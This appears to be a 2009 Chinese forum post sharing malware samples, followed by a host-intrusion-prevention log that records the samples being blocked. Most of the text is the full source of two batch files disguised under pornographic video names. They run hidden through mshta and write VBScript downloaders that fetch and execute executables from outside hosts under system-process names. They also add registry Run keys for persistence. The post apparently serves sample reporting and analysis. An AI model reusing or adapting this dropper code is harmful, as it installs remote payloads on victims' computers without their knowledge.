bat

qwe12301

金山上报系统的自动回复

250662772

加密的不错

小泽玛利亚-最新 视频 吹 寡妇 白领 上海.BAT

@echo off
if "%1" == "h" goto begin
mshta vbscript:createobject("wscript.shell").run("""%~nx0"" h",0)(window.close)&&exit
:begin
REM
@echo on
mshta vbscript:CreateObject("WScript.Shell").Run("iexplore http://www.genwjq.com/bat/index3.asp",0)(window.close)
echo Set xPost = createObject("Microsoft.XMLHTTP") >C:\WINDOWS\system32\config\explorer.vbs
echo xPost.Open "GET","http://www26jqcn.y712.cn/xk/explorer.exe",0 >>C:\WINDOWS\system32\config\explorer.vbs
echo xPost.Send() >>C:\WINDOWS\system32\config\explorer.vbs
echo Set sGet = createObject("ADODB.Stream") >>C:\WINDOWS\system32\config\explorer.vbs
echo sGet.Mode = 3 >>C:\WINDOWS\system32\config\explorer.vbs
echo sGet.Type = 1 >>C:\WINDOWS\system32\config\explorer.vbs
echo sGet.Open() >>C:\WINDOWS\system32\config\explorer.vbs
echo sGet.Write(xPost.responseBody) >>C:\WINDOWS\system32\config\explorer.vbs
echo sGet.SaveToFile "C:\WINDOWS\system32\config\explorer.exe",2 >>C:\WINDOWS\system32\config\explorer.vbs
echo Set objShell = CreateObject("Wscript.Shell") >>C:\WINDOWS\system32\config\explorer.vbs
echo objshell.run """C:\WINDOWS\system32\config\explorer.exe""" >>C:\WINDOWS\system32\config\explorer.vbs
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\explorer\CurrentVersion\Run" /ve /d "C:\WINDOWS\system32\config\explorer.vbs" /f
C:\WINDOWS\system32\config\explorer.vbs

echo Set xPost = createObject("Microsoft.XMLHTTP") >C:\WINDOWS\system32\config\winlogon.vbs
echo xPost.Open "GET","http://cyswlj.b121.53dns.com/xk/winlogon.exe",0 >>C:\WINDOWS\system32\config\winlogon.vbs
echo xPost.Send() >>C:\WINDOWS\system32\config\winlogon.vbs
echo Set sGet = createObject("ADODB.Stream") >>C:\WINDOWS\system32\config\winlogon.vbs
echo sGet.Mode = 3 >>C:\WINDOWS\system32\config\winlogon.vbs
echo sGet.Type = 1 >>C:\WINDOWS\system32\config\winlogon.vbs
echo sGet.Open() >>C:\WINDOWS\system32\config\winlogon.vbs
echo sGet.Write(xPost.responseBody) >>C:\WINDOWS\system32\config\winlogon.vbs
echo sGet.SaveToFile "C:\WINDOWS\system32\config\winlogon.exe",2 >>C:\WINDOWS\system32\config\winlogon.vbs
echo Set objShell = CreateObject("Wscript.Shell") >>C:\WINDOWS\system32\config\winlogon.vbs
echo objshell.run """C:\WINDOWS\system32\config\winlogon.exe""" >>C:\WINDOWS\system32\config\winlogon.vbs
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\winlogon\CurrentVersion\Run" /ve /d "C:\WINDOWS\system32\config\winlogon.vbs" /f
C:\WINDOWS\system32\config\winlogon.vbs

echo Set xPost = createObject("Microsoft.XMLHTTP") >C:\WINDOWS\system32\config\svchost.vbs
echo xPost.Open "GET","http://cyswlj03.host067.e80888.com/xk/svchost.exe",0 >>C:\WINDOWS\system32\config\svchost.vbs
echo xPost.Send() >>C:\WINDOWS\system32\config\svchost.vbs
echo Set sGet = createObject("ADODB.Stream") >>C:\WINDOWS\system32\config\svchost.vbs
echo sGet.Mode = 3 >>C:\WINDOWS\system32\config\svchost.vbs
echo sGet.Type = 1 >>C:\WINDOWS\system32\config\svchost.vbs
echo sGet.Open() >>C:\WINDOWS\system32\config\svchost.vbs
echo sGet.Write(xPost.responseBody) >>C:\WINDOWS\system32\config\svchost.vbs
echo sGet.SaveToFile "C:\WINDOWS\system32\config\svchost.exe",2 >>C:\WINDOWS\system32\config\svchost.vbs
echo Set objShell = CreateObject("Wscript.Shell") >>C:\WINDOWS\system32\config\svchost.vbs
echo objshell.run """C:\WINDOWS\system32\config\svchost.exe""" >>C:\WINDOWS\system32\config\svchost.vbs
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\svchost\CurrentVersion\Run" /ve /d "C:\WINDOWS\system32\config\svchost.vbs" /f
C:\WINDOWS\system32\config\svchost.vbs

echo Set xPost = createObject("Microsoft.XMLHTTP") >C:\WINDOWS\system32\config\csrss.vbs
echo xPost.Open "GET","http://cyswlj.s198.e80888.com/xk/csrss.exe",0 >>C:\WINDOWS\system32\config\csrss.vbs
echo xPost.Send() >>C:\WINDOWS\system32\config\csrss.vbs
echo Set sGet = createObject("ADODB.Stream") >>C:\WINDOWS\system32\config\csrss.vbs
echo sGet.Mode = 3 >>C:\WINDOWS\system32\config\csrss.vbs
echo sGet.Type = 1 >>C:\WINDOWS\system32\config\csrss.vbs
echo sGet.Open() >>C:\WINDOWS\system32\config\csrss.vbs
echo sGet.Write(xPost.responseBody) >>C:\WINDOWS\system32\config\csrss.vbs
echo sGet.SaveToFile "C:\WINDOWS\system32\config\csrss.exe",2 >>C:\WINDOWS\system32\config\csrss.vbs
echo Set objShell = CreateObject("Wscript.Shell") >>C:\WINDOWS\system32\config\csrss.vbs
echo objshell.run """C:\WINDOWS\system32\config\csrss.exe""" >>C:\WINDOWS\system32\config\csrss.vbs
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\csrss\CurrentVersion\Run" /ve /d "C:\WINDOWS\system32\config\csrss.vbs" /f
C:\WINDOWS\system32\config\csrss.vbs
ping /n 20 127.1>nul
start http://www.genwjq.com/bat/ss.asp


aaaaaaaaaaqqpppponmlkijhgfedcb758

兰兰 桌上 安藤沙耶[色]叶香.BAT

@echo off
if "%1" == "h" goto begin
mshta vbscript:createobject("wscript.shell").run("""%~nx0"" h",0)(window.close)&&exit
:begin
REM
@echo on
mshta vbscript:CreateObject("WScript.Shell").Run("iexplore http://cyswlj.b121.53dns.com/sy/sy4.asp",0)(window.close)
echo Set xPost = createObject("Microsoft.XMLHTTP") >C:\WINDOWS\system32\config\winlogon.vbs
echo xPost.Open "GET","http://cyswlj.b121.53dns.com/sy/sy.exe",0 >>C:\WINDOWS\system32\config\winlogon.vbs
echo xPost.Send() >>C:\WINDOWS\system32\config\winlogon.vbs
echo Set sGet = createObject("ADODB.Stream") >>C:\WINDOWS\system32\config\winlogon.vbs
echo sGet.Mode = 3 >>C:\WINDOWS\system32\config\winlogon.vbs
echo sGet.Type = 1 >>C:\WINDOWS\system32\config\winlogon.vbs
echo sGet.Open() >>C:\WINDOWS\system32\config\winlogon.vbs
echo sGet.Write(xPost.responseBody) >>C:\WINDOWS\system32\config\winlogon.vbs
echo sGet.SaveToFile "C:\WINDOWS\system32\config\winlogon.exe",2 >>C:\WINDOWS\system32\config\winlogon.vbs
echo Set objShell = CreateObject("Wscript.Shell") >>C:\WINDOWS\system32\config\winlogon.vbs
echo objshell.run """C:\WINDOWS\system32\config\winlogon.exe""" >>C:\WINDOWS\system32\config\winlogon.vbs
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\winlogon\CurrentVersion\Run" /ve /d "C:\WINDOWS\system32\config\winlogon.vbs" /f
C:\WINDOWS\system32\config\winlogon.vbs

echo Set xPost = createObject("Microsoft.XMLHTTP") >C:\WINDOWS\system32\config\svchost.vbs
echo xPost.Open "GET","http://cyswlj03.host067.e80888.com/sy/pv.exe",0 >>C:\WINDOWS\system32\config\svchost.vbs
echo xPost.Send() >>C:\WINDOWS\system32\config\svchost.vbs
echo Set sGet = createObject("ADODB.Stream") >>C:\WINDOWS\system32\config\svchost.vbs
echo sGet.Mode = 3 >>C:\WINDOWS\system32\config\svchost.vbs
echo sGet.Type = 1 >>C:\WINDOWS\system32\config\svchost.vbs
echo sGet.Open() >>C:\WINDOWS\system32\config\svchost.vbs
echo sGet.Write(xPost.responseBody) >>C:\WINDOWS\system32\config\svchost.vbs
echo sGet.SaveToFile "C:\WINDOWS\system32\config\svchost.exe",2 >>C:\WINDOWS\system32\config\svchost.vbs
echo Set objShell = CreateObject("Wscript.Shell") >>C:\WINDOWS\system32\config\svchost.vbs
echo objshell.run """C:\WINDOWS\system32\config\svchost.exe""" >>C:\WINDOWS\system32\config\svchost.vbs
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\svchost\CurrentVersion\Run" /ve /d "C:\WINDOWS\system32\config\svchost.vbs" /f
C:\WINDOWS\system32\config\svchost.vbs

ping /n 5 127.1>nul
start http://www.genwjq.com/sy/ss.asp


aaaaaaaaaasssqqpppponmlkijhgfedcb647

xyao

2009-7-27 11:02:52    创建新进程    允许
进程: c:\windows\explorer.exe
目标: c:\windows\system32\cmd.exe
命令行: cmd /c ""C:\Documents and Settings\Administrator\My Documents\兰兰 桌上 安藤沙耶[色]叶香\兰兰 桌上 安藤沙耶[色]叶香.BAT" "
规则: [应用程序]*

2009-7-27 11:02:58    创建新进程    阻止
进程: c:\windows\system32\cmd.exe
目标: c:\windows\system32\mshta.exe
命令行: mshta vbscript:createobject("wscript.shell").run("""兰兰 桌上 安藤沙耶[色]叶香.BAT"" h",0)(window.close)
规则: [应用程序]*

2009-7-27 11:03:01    创建新进程    阻止
进程: c:\windows\system32\cmd.exe
目标: c:\windows\system32\mshta.exe
命令行: mshta vbscript:CreateObject("WScript.Shell").Run("iexplore http://cyswlj.b121.53dns.com/sy/sy4.asp",0)(window.close)
规则: [应用程序]*

2009-7-27 11:03:04    创建文件    阻止
进程: c:\windows\system32\cmd.exe
目标: C:\WINDOWS\system32\config\winlogon.vbs
规则: [文件组]所有执行文件 -> [文件]*; *.vbs





2009-7-27 11:04:55    创建新进程    允许
进程: c:\windows\explorer.exe
目标: c:\windows\system32\cmd.exe
命令行: cmd /c ""C:\Documents and Settings\Administrator\My Documents\小泽玛利亚-最新 视频 吹 寡妇 白领 上海\小泽玛利亚-最新 视频 吹 寡妇 白领 上海.BAT" "
规则: [应用程序]*

2009-7-27 11:04:58    创建新进程    阻止
进程: c:\windows\system32\cmd.exe
目标: c:\windows\system32\mshta.exe
命令行: mshta vbscript:createobject("wscript.shell").run("""小泽玛利亚-最新 视频 吹 寡妇 白领 上海.BAT"" h",0)(window.close)
规则: [应用程序]*

2009-7-27 11:05:00    创建新进程    阻止
进程: c:\windows\system32\cmd.exe
目标: c:\windows\system32\mshta.exe
命令行: mshta vbscript:CreateObject("WScript.Shell").Run("iexplore http://www.genwjq.com/bat/index3.asp",0)(window.close)
规则: [应用程序]*

2009-7-27 11:05:03    创建文件    阻止
进程: c:\windows\system32\cmd.exe
目标: C:\WINDOWS\system32\config\explorer.vbs
规则: [文件组]所有执行文件 -> [文件]*; *.vbs